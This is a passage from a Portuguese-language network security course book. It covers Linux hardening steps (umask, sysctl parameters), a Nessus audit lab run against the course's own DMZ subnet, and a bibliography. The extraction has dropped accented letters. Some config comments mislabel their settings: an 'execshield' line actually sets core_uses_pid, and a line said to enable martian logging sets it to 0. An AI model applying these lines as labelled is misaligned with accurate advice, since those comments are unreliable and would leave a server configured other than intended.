# ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now


Passo 17

O comando umask serve como uma mscara para ajustar a permisso de


arquivos e diretrios, assim, um umask mal configurado vai atribuir para
novos arquivos criados pelo root permisso de acesso para qualquer usurio.
Recomenda-se alterar o umask de todos os usurios para 177, ajustando o
arquivo /etc/profile.

Segurana de Redes e Sistemas

Caso existam problemas na instalao de novos binrios no servidor,


modifique o umask para a opo padro utilizando o comando umask 022.

248

Personalizar o kernel do Linux com o intuito de torn-lo mais eficaz no


uma tarefa simples, pois depende muito do cenrio e das aplicaes que
sero utilizadas. De forma geral, os parmetros abaixo podem ser inseridos
no final do arquivo /etc/sysctl.conf em diversos cenrios sem comprometer o
funcionamento do servidor.

#TCP SYN Cookie Protection


net.ipv4.tcp_max_syn_backlog=1280
net.ipv4.tcp_syncookies = 1
#Disable IP Source Routing
net.ipv4.conf.all.accept_source_route = 0
#Disable ICMP Redirect Acceptance
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects=0
# Habilita proteo contra IP spoofing
net.ipv4.conf.all.rp_filter = 1
#Ignoring Broadcasts Request
net.ipv4.icmp_echo_ignore_broadcasts=1
#Bad Error Message Protection
net.ipv4.icmp_ignore_bogus_error_responses = 1
#Desativa o forward de pacotes. No deve ser configurado em servidores que assumam servio de gateway/roteador
net.ipv4.ip_forward = 0
# Habilita log de pacotes spoof. Obs. Esse recurso
gera muitas entradas no log e deve ser avaliado com
cuidado.
net.ipv4.conf.all.log_martians = 0
# Desativar o proxy_arp
net.ipv4.conf.all.proxy_arp=0
# Habilita o execshield
kernel.core_uses_pid = 1
Reinicie o sistema para que as configuraes sejam aplicadas.

Captulo 10 - Roteiro de Atividades

Passo 18

249

Atividade 2 Auditoria
Execute uma auditoria no servidor Linux com o Nessus e compare o resultado com a
auditoria que foi feita no captulo 8. Houve um aumento do nvel de segurana? Analise o
resultado da auditoria e tente realizar mais modificaes na configurao do servidor para
torn-lo ainda mais seguro.
Passo 1

Inicie o servidor Nessus no host FWGW1 com o seguinte comando:

# /etc/init.d/nessusd start
Passo 2

Acesse o console de gerncia do Nessus a partir de um navegador web


da mquina Windows XP fsica: https://172.16.G.1:8834.
Certifique-se de que existe regra de exceo no firewall para permitir
essa conexo.

Passo 3

No console do Nessus, crie um novo Scan com os parmetros:

Nome: RedeDMZ
Type: Run Now
Policy: Padrao
Scan Targets: 172.16.G.0/24
Clique no boto Launch Scan.
Passo 4

Analise o novo relatrio gerado pelo Nessus no menu Reports. Foi possvel
encontrar os hosts da rede DMZ? Que servios foram encontrados?
Compare esse ltimo relatrio gerado com o relatrio do captulo 8.
Quais as principais diferenas?

Atividade 3 Ferramentas e mecanismos para monitoramento


Em uma rede segura devem ser implementados, sempre, os seguintes servios: Inventrio
de Ativos, Servidor de Log Centralizado, servidor NTP para sincronizar os relgios, Servio
de Host IDS integrado e servio de monitoramento.
Durante este treinamento voc teve contato com algumas ferramentas que implementam
os servios acima citados. Pesquise na internet sobre ferramentas que poderiam atender
a essa necessidade, no se esquecendo de contribuir com os demais colegas de turma e o
instrutor sobre suas descobertas.

Atividade 4 Ferramentas de segurana


Pesquise na internet informaes sobre o SELINUX e o Bastille Linux. Quais as melhorias de

Segurana de Redes e Sistemas

segurana que essas ferramentas trazem?

250

Para pensar
Pesquise sobre a instalao do SELINUX e tente implant-lo no seu servidor Linux.
Realize nova auditoria e compare os resultados.

Bibliografia
11 BATTISTI, Jlio; SANTANA, Fabiano. Windows Server 2008: Guia de estudos
completo, implementao, administrao e certificao. Editora Novaterra, 2009.
11 BRANDO, Robson. Introduo ao Group Policy (GPO). Microsoft TechNet.
http://technet.microsoft.com/pt-br/library/cc668545.aspx
11 HERZOG, Pete. OSSTMM 2.1, Open-Source Security Testing Methodology Manual:
http://isecom.securenetltd.com/osstmm.en.2.1.pdf
11 ISECOM. Hacking Exposed Linux. 3 edio. McGraw-Hill Osborne Media; 2008.
11 MIGEON, Jean-Yves. The MIT Kerberos Administrators How-to Guide, Protocol,
Installation and Single Sign On. The MIT Kerberos Consortium, 2008.
http://www.kerberos.org/software/adminkerberos.pdf
11 OREBAUGH, Angela. Snort Cookbook. Estados Unidos: Editora OReilly Media, 2005.
11 WALLA, Mark. Kerberos Explained. Microsoft TechNet.
http://technet.microsoft.com/en-us/library/bb742516.aspx
11 WESSELS, Duane. Squid: The Definitive Guide. Estados Unidos: Editora
OReilly Media, 2004.
11 WEST-BROWN, Moira J. Handbook for Computer Security Incident Response Teams
(CSIRT). Pittsburgh: Carnegie Mellon Software Engineering Institute, 2003.
www.cert.org/archive/pdf/csirt-handbook.pdf
11 SCAMBRAY, Joey. Hacking Exposed Windows: Microsoft Windows Security
Secrets and Solutions. McGraw-Hill Osborne Media, 2007.
11 SIMMONS, Gustavus, J. Symmetric and Asymmetric Encryption.
http://www.princeton.edu/~rblee/ELE572Papers/CSurveys_SymmAsymEncrypt-simmons.pdf
11 STEVENS W., Richard. TCP Illustrated. Volume 1. Addison-Wesley, 1994.
11 ZWICKY, Elizabeth D. et al. Building Internet Firewalls. Estados Unidos: Editora
OReilly Media, 2006.

11 Norma ABNT NBR ISO/IEC 27002:2005


11 Norma ABNT NBR ISO/IEC 27005:2008
11 Norma ABNT NBR ISO/IEC 27011:2009

Bibliografia

11 Norma ABNT NBR ISO/IEC 27001:2006

11 IN 01 e Normas Complementares DSIC/GSI

251

LIVRO DE APOIO AO CURSO

pleta de proteo de redes, utilizando tcnicas como


firewall, IDS, IPS e VPN. O amplo escopo de conceitos
abordados permitir a aplicao das tcnicas de autenticao e autorizao seguras, auditorias de segurana
e de requisitos de configurao segura de servidores
Linux e Windows. Aps o curso, o aluno ser capaz de
montar um permetro seguro, aumentar a segurana
dos servidores da rede, realizar auditorias de segurana
e implantar sistemas de autenticao seguros.
Este livro inclui os roteiros das atividades prticas e o
contedo dos slides apresentados em sala de aula,
apoiando profissionais na disseminao deste conhecimento em suas organizaes ou localidades de origem.

ISBN 978-85-63630-13-1

9 788563 630131

Segurana de Redes e Sistemas

O aluno aprender a implementar uma soluo com-

Segurana

de Redes
e Sistemas
Ivo de Carvalho Peixinho
Francisco Marmo da Fonseca
Francisco Marcelo Lima